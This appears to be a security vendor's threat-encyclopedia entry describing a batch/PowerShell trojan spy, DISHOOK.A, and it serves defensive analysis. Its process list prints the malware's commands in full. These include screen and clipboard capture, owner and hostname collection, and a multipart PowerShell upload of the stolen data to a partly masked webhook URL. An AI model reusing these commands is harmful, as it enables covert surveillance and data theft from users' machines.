TrojanSpy.BAT.DISHOOK.A

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It connects to a website to send and receive information. It does not have any backdoor routine.

However, as of this writing, the said sites are inaccessible.

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy drops the following files:

• %User Temp%\screenshot.png → captured screenshot
• %User Temp%\clipboard_history.txt → clipboard content
• %User Temp%\tmp_geo.json → deleted afterwards

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

• reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "RegisteredOwner"
• powershell -command "(Invoke-WebRequest -Uri 'https://{BLOCKED}-api.com ').Content"
• powershell -NoProfile -Command "(Get-Content '%User Temp%\tmp_geo.json' | ConvertFrom-Json).country"
• curl -s "https://{BLOCKED}-api.com /json/{public ip address}" > "%temp%\tmp_geo.json"
• powershell -Command "try { Get-Clipboard -Raw } catch { '' }"
• powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing;" "$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds;" "$bmp = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height;" "$graphics = [Drawing.Graphics]::FromImage($bmp);" "$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size);" "$bmp.Save('%User Temp%\screenshot.png', [Drawing.Imaging.ImageFormat]::Png);"
• powershell -NoProfile -Command "$webhookUrl = 'https://{BLOCKED}d.com/api/webhooks/1393566442842226800/eDTSlOpqEFMYJqCGMgWD7lCqzk1theJLOgIB0Rv2nwyzDx-WvPoNnFTcr5BDnHXBOuu0 ';" "$screenshotPath = '%User Temp%\screenshot.png';" "$clipboardPath = '%User Temp%\clipboard_history.txt';" "$payload = @{embeds = @(@{title='System Information'; color=3447003; fields=@(" "@{name='IP Address'; value=''; inline=$false}," "@{name='Country'; value=''; inline=$false}," "@{name='Registered Owner'; value='{username} '; inline=$false}," "@{name='Computer Name'; value='{hostname}'; inline=$false}," "@{name='Clipboard History'; value='See attached clipboard_history.txt'; inline=$false}" "); image=@{url='attachment://screenshot.png'}})};" "$json = $payload | ConvertTo-Json -Depth 6;" "$boundary = [System.Guid]::NewGuid().ToString();" "$LF = \"`r`n\";" "$body = New-Object System.IO.MemoryStream;" "$writer = New-Object System.IO.StreamWriter($body);" "$writer.Write(\"--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"payload_json\"' + \"$LF\");" "$writer.Write('Content-Type: application/json' + \"$LF$LF\");" "$writer.Write($json + \"$LF\");" "$writer.Write(\"--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"file1\"; filename=\"screenshot.png\"' + \"$LF\");" "$writer.Write('Content-Type: image/png' + \"$LF$LF\");" "$writer.Flush();" "$fileBytes = [System.IO.File]::ReadAllBytes($screenshotPath);" "$body.Write($fileBytes, 0, $fileBytes.Length);" "$writer.Write(\"$LF--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"file2\"; filename=\"clipboard_history.txt\"' + \"$LF\");" "$writer.Write('Content-Type: text/plain; charset=utf-8' + \"$LF$LF\");" "$writer.Flush();" "$clipBytes = [System.IO.File]::ReadAllBytes($clipboardPath);" "$body.Write($clipBytes, 0, $clipBytes.Length);" "$writer.Write(\"$LF--$boundary--$LF\");" "$writer.Flush();" "$body.Position = 0;" "$headers = @{ 'Content-Type' = \"multipart/form-data; boundary=$boundary\" };" "Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $body -Headers $headers"

Propagation

This Trojan Spy does not have any propagation routine.

Backdoor Routine

This Trojan Spy connects to the following websites to send and receive information:

• https://{BLOCKED}d.com/api/webhooks/1393566442842226800/eDTSlOpqEFMYJqCGMgWD7lCqzk1theJLOgIB0Rv2nwyzDx-WvPoNnFTcr5BDnHXBOuu0

It does not have any backdoor routine.

Rootkit Capabilities

This Trojan Spy does not have rootkit capabilities.

Information Theft

This Trojan Spy gathers the following data:

• Screenshot
• Clipboard History
• Public IP Address
• Windows Registered Owner
• Hostname
• Geolocation
• System GUID

Other Details

This Trojan Spy connects to the following URL(s) to get the affected system's IP address:

• https://{BLOCKED}ify.org
• https://{BLOCKED}-api.com

It does the following:

• It captures the screenshot of the system and saves it to a file.

However, as of this writing, the said sites are inaccessible.

It does not exploit any vulnerability.